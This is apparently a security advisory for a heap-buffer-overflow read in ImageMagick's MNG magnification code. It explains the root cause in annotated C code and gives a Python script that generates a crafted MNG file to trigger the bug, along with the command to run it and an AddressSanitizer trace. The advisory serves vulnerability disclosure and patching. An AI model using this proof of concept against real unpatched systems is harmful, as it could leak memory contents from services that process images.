imagemagick: heap-buffer overflow read in MNG magnification with alpha

Vulnerability Details

When performing image magnification in ReadOneMNGIMage (in coders/png.c), there is an issue around the handling of images with separate alpha channels.

When loading an image with a color type that implies a separate alpha channel (ie. jng_color_type >= 12), we will load the alpha pixels in this loop:

     if (logging != MagickFalse)
        (void) LogMagickEvent(CoderEvent,GetMagickModule(),
          "    Reading alpha from alpha_blob.");
      jng_image=ReadImage(alpha_image_info,exception);

      if (jng_image != (Image *) NULL)
        for (y=0; y < (ssize_t) image->rows; y++)
        {
          s=GetVirtualPixels(jng_image,0,y,image->columns,1,exception);
          q=GetAuthenticPixels(image,0,y,image->columns,1,exception); // [0]
          if ((s == (const Quantum *)  NULL) || (q == (Quantum *) NULL))
            break;

          if (image->alpha_trait != UndefinedPixelTrait)
            for (x=(ssize_t) image->columns; x != 0; x--)
            {
              SetPixelAlpha(image,GetPixelRed(jng_image,s),q);
              q+=(ptrdiff_t) GetPixelChannels(image);
              s+=(ptrdiff_t) GetPixelChannels(jng_image);
            }

          else
            for (x=(ssize_t) image->columns; x != 0; x--)
            {
              Quantum
                alpha;

              alpha=GetPixelRed(jng_image,s);
              SetPixelAlpha(image,alpha,q);
              if (alpha != OpaqueAlpha)
                image->alpha_trait=BlendPixelTrait; // [1]
              q+=(ptrdiff_t) GetPixelChannels(image);
              s+=(ptrdiff_t) GetPixelChannels(jng_image);
            }

          if (SyncAuthenticPixels(image,exception) == MagickFalse)
            break;
        }

Note that at [1] we update image->alpha_trait, but if our alpha image only contains non-opaque pixels in the last row, we do not call GetAuthenticPixels (at [0]) after this change has been made.

The next call to GetAuthenticPixels will then call down into ResetPixelChannelMap which adds the new alpha channel to the image channel mappings and metadata.

If we then pass this image into the MAGN chunk type, we can see that at [2] we calculate the sizes for intermediate buffers next and prev, before calling GetAuthenticPixels at [4].

After the call at [4], the image->num_channels has increased to include the new alpha channel, and now length and the previously allocated next and prev buffers are too small. Fortunately length is always used when copying into the buffers, but when reading pixels from the buffers, we call GetPixelXXX which assumes the layout of the current image, which requires a larger allocation.

The pixel copying loop will subsequently read beyond the end of the allocation at [5].

               /* magnify the rows into the right side of the large image */

                if (logging != MagickFalse)
                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                    "    Magnify the rows to %.20g",
                    (double) large_image->rows);
                m=(ssize_t) mng_info->magn_mt;
                yy=0;
                length=(size_t) GetPixelChannels(image)*image->columns; // [2]
                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));

                if ((prev == (Quantum *) NULL) ||
                    (next == (Quantum *) NULL))
                  {
                    if (prev != (Quantum *) NULL)
                      prev=(Quantum *) RelinquishMagickMemory(prev);
                    if (next != (Quantum *) NULL)
                      next=(Quantum *) RelinquishMagickMemory(next);
                    image=DestroyImageList(image);
                    ThrowReaderException(ResourceLimitError,
                      "MemoryAllocationFailed");
                  }

                n=GetAuthenticPixels(image,0,0,image->columns,1,exception); // [4]
                (void) memcpy(next,n,length);

                for (y=0; y < (ssize_t) image->rows; y++)
                {
                  if (y == 0)
                    m=(ssize_t) mng_info->magn_mt;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
                    m=1;

                  else
                    m=(ssize_t) mng_info->magn_my;

                  n=prev;
                  prev=next;
                  next=n;

                  if (y < (ssize_t) image->rows-1)
                    {
                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,
                          exception);
                      (void) memcpy(next,n,length);
                    }

                  for (i=0; i < m; i++, yy++)
                  {
                    Quantum
                      *pixels;

                    assert(yy < (ssize_t) large_image->rows);
                    pixels=prev;
                    n=next;
                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
                      1,exception);
                    if (q == (Quantum *) NULL)
                      break;
                    q+=(ptrdiff_t) (large_image->columns-image->columns)*
                      GetPixelChannels(large_image);

                    for (x=(ssize_t) image->columns-1; x >= 0; x--)
                    {
                      /* To do: get color as function of indexes[x] */
                      /*
                      if (image->storage_class == PseudoClass)
                        {
                        }
                      */

                      if (magn_methy <= 1)
                        {
                          /* replicate previous */
                          SetPixelRed(large_image,GetPixelRed(image,pixels),q);  // [5]
                          SetPixelGreen(large_image,GetPixelGreen(image,
                             pixels),q);
                          SetPixelBlue(large_image,GetPixelBlue(image,
                             pixels),q);
                          SetPixelAlpha(large_image,GetPixelAlpha(image,
                             pixels),q);
                        }

This can likely be used to leak subsequent memory contents into the output image.

The attached proof-of-concept triggers this issue and is not blocked by any of the default security policies.

Affected Version(s)

The issue has been successfully reproduced:

at commit 3e37a7f15fcb1aa80e6beae3898e684309c2ecbe
in stable release 7.1.2-0

Build Instructions

git clone https://github.com/imagemagick/imagemagick
�cd imagemagick

export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address -O0 -ggdb"
export CXXFLAGS="-fsanitize=address -O0 -ggdb"
export LDFLAGS="-fsanitize=address -O0 -ggdb"

./configure --disable-shared --disable-docs --with-jxl
make -j

Reproduction

Test Case

This testcase is a python script that will generate an MNG file which can be used to trigger the vulnerability.

import struct
import zlib

def chunk(tag, data):
    crc = zlib.crc32(tag + data) & 0xffffffff
    return struct.pack('>I', len(data)) + tag + data + struct.pack('>I', crc)

# Simple 128x1 RGB jpeg
jpeg = bytes([
  0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 0x4a, 0x46, 0x49, 0x46, 0x00, 0x01,
  0x01, 0x01, 0x01, 0x2c, 0x01, 0x2c, 0x00, 0x00, 0xff, 0xdb, 0x00, 0x43,
  0x00, 0x03, 0x02, 0x02, 0x03, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, 0x04,
  0x03, 0x03, 0x04, 0x05, 0x08, 0x05, 0x05, 0x04, 0x04, 0x05, 0x0a, 0x07,
  0x07, 0x06, 0x08, 0x0c, 0x0a, 0x0c, 0x0c, 0x0b, 0x0a, 0x0b, 0x0b, 0x0d,
  0x0e, 0x12, 0x10, 0x0d, 0x0e, 0x11, 0x0e, 0x0b, 0x0b, 0x10, 0x16, 0x10,
  0x11, 0x13, 0x14, 0x15, 0x15, 0x15, 0x0c, 0x0f, 0x17, 0x18, 0x16, 0x14,
  0x18, 0x12, 0x14, 0x15, 0x14, 0xff, 0xdb, 0x00, 0x43, 0x01, 0x03, 0x04,
  0x04, 0x05, 0x04, 0x05, 0x09, 0x05, 0x05, 0x09, 0x14, 0x0d, 0x0b, 0x0d,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14, 0x14,
  0x14, 0x14, 0xff, 0xc0, 0x00, 0x11, 0x08, 0x00, 0x01, 0x00, 0x80, 0x03,
  0x01, 0x11, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01, 0xff, 0xc4, 0x00,
  0x15, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0xff, 0xc4, 0x00, 0x14,
  0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x01, 0x01,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0xff, 0xc4, 0x00, 0x14, 0x11, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0xff, 0xda, 0x00, 0x0c, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03,
  0x11, 0x00, 0x3f, 0x00, 0xaa, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0xff, 0xd9
])

# MNG File Construction
mng_sig = b'\x8aMNG\r\n\x1a\n'
mhdr_data = struct.pack('>IIIIIII', 1, 1, 1, 0, 0, 0, 0)
mhdr_chunk = chunk(b'MHDR', mhdr_data)
magn_data = struct.pack('>HH B H H H H H H B', 0, 0, 1, 2, 2, 2, 2, 2, 2, 1)
magn_chunk = chunk(b'MAGN', magn_data)
jhdr_data = struct.pack('>IIBBBBBBBB', 128, 1, 12, 8, 8, 0, 8, 0, 0, 0)
jhdr_chunk = chunk(b'JHDR', jhdr_data)
jdat_chunk = chunk(b'JDAT', jpeg)
scanlines = b'\x00\x00'*128
compressed_scanlines = zlib.compress(scanlines)
idat_chunk = chunk(b'IDAT', compressed_scanlines)
iend_chunk = chunk(b'IEND', b'')
mend_chunk = chunk(b'MEND', b'')
mng_bytes = mng_sig + mhdr_chunk + magn_chunk + jhdr_chunk + jdat_chunk + idat_chunk + iend_chunk + mend_chunk

with open("magn_read.mng", "wb") as tmp:
    tmp.write(mng_bytes)

Command

python3 ./generate_testcase.py
utilities/magick ./magn_read.mng -resize 200x200 PNG:output.png

ASan Backtrace

=================================================================
==1562409==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51b000000680 at pc 0x557a486b0c64 bp 0x7ffe63210de0 sp 0x7ffe63210dd8
READ of size 4 at 0x51b000000680 thread T0
    #0 0x557a486b0c63 in GetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10
    #1 0x557a4869ce03 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:51
    #2 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #3 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #4 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #5 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
    #6 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
    #7 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #8 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #9 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #10 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #11 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #12 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7f1431833d64 in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x557a481a0790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f3790) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)

0x51b000000680 is located 0 bytes after 1536-byte region [0x51b000000080,0x51b000000680)
allocated by thread T0 here:
    #0 0x557a482405c3 in malloc (/tmp/repro/imagemagick/utilities/magick+0x2935c3) (BuildId: c19eeda184f03d027903a515c023bed30e652cc3)
    #1 0x557a482b9b6a in AcquireMagickMemory /tmp/repro/imagemagick/MagickCore/memory.c:559:10
    #2 0x557a482b9dba in AcquireQuantumMemory /tmp/repro/imagemagick/MagickCore/memory.c:677:10
    #3 0x557a4869c58c in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6584:34
    #4 0x557a48683c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #5 0x557a487a8f41 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #6 0x557a487abf36 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #7 0x557a48d747a8 in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4961:22
    #8 0x557a48d6862c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5475:7
    #9 0x557a48c3e3fb in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #10 0x557a48c3f7c9 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #11 0x557a48c3c13c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #12 0x557a482847b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #13 0x557a482841e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #14 0x7f1431833ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:405:10 in GetPixelRed
Shadow bytes around the buggy address:
  0x51b000000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x51b000000680:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51b000000700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x51b000000780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x51b000000900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1562409==ABORTING

Reporter Credit

Google Big Sleep

References

urban-warrior published to ImageMagick/ImageMagick Aug 13, 2025

Published by the National Vulnerability Database Aug 13, 2025

Published to the GitHub Advisory Database Aug 25, 2025

Reviewed Aug 25, 2025

Last updated Aug 25, 2025

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Description

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CVSS v3 base metrics

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Heap-based Buffer Overflow

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